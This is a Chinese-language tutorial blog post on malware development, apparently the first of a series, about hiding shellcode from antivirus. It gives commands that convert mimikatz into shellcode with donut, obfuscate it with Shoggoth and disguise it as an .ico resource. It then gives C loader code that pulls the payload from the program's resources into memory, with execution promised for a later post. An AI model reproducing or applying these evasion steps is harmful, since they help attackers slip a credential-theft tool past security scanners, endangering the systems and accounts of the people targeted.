前言
在开发malware过程中通常有两种加载shellcode方式:
1.把shellcode直接以硬编码的方式写入代码中
2.采用分离加载的方式 制作一个shellcode loader 从本地读取shellcode到内存中进行运行。
本文先讲解第一种方式,这个方式有一定的缺陷。
- 把shellcode与loader放一起编写。即使shellcode 进行了加密与混淆操作,把成品放到vt上进行扫描也很大概率被查杀。
- 如果要对工具进行免杀,则需把工具 exe转为shellcode 写成c语言格式则有上千行。若把它粘贴到vs2019等IDE去可能会直接程序无响应了。所以可以把转换出来的shellcode可以写进资源(Resource)中。
零、 所需要的工具
- VS2019
- donut https://github.com/TheWover/donut
- Shoggoth https://github.com/frkngksl/Shoggoth
- 使用C语言 Win32编程
一、需要的Windows API
HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in] LPCSTR lpName,
[in] LPCSTR lpType
);
lpName: 可以使用MAKEINTRESOURCE(ID)获取
lpType:RT_RCDATA Application-defined resource (raw data).
HGLOBAL LoadResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
);
LPVOID LockResource(
[in] HGLOBAL hResData
);
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
二、具体步骤
将所需要免杀的工具转成shellcode
donut.exe -i .\mimikatz.exe -o mimi.bin
使用多态加密混淆工具混淆下shellcode
Shoggoth.exe -i .\mimi.bin -s 1235sfafsf -o mimi_fin.ico
打开VS2019
在资源文件中添加资源文件(rc)
导入生成的mimi_fin.ico(注意后缀名)
输入RCDATA 即可
代码编写
#include <stdio.h>
#include<Windows.h>
#include"resource.h"
void PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) {
if (i % 16 == 0) {
printf("\n\t");
}
if (i < Size - 1) {
printf("0x%0.2X, ", Data[i]);
}
else {
printf("0x%0.2X ", Data[i]);
}
}
printf("};\n\n\n");
}
int main()
{
HRSRC hRSrc = NULL;
HGLOBAL hGlobal = NULL;
LPVOID pTmpShellcode = NULL;
LPVOID pShellcode = NULL;
size_t sShellcodeSize = 0;
hRSrc= FindResource(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA); //确定shellcode资源在模块中的位置
if (!hRSrc) {
printf("资源未找到!\n");
return -1;
}
hGlobal=LoadResource(NULL, hRSrc); //获取句柄
if (!hGlobal) {
printf("加载资源失败\n");
return -1;
}
pTmpShellcode =LockResource(hGlobal); //找到资源所在内存中的地址
if (!pTmpShellcode) {
printf("获取资源中shellcode地址失败");
return -1;
}
sShellcodeSize=SizeofResource(NULL,hRSrc);
if (!sShellcodeSize ) {
// in case of function failure
printf("获取shellcode大小失败\n");
return -1;
}
pShellcode= VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT, PAGE_READWRITE);
if (pShellcode) {
MoveMemory(pShellcode, pTmpShellcode, sShellcodeSize);
}
else
{
printf("内存分配失败\n");
return -1;
}
printf("[+]pShellcode的地址为:%p\n",pShellcode);
printf("[+]sShellcodeSize的大小为%d\n", sShellcodeSize);
PrintHexData("shellcode", pShellcode, sShellcodeSize);
return 0;
}
总结
这篇文章先讲到把Mimikatz的shellcode加载进内存 。下篇继续讲解!
由于本人才疏学浅,有所错误请师傅们多多指教!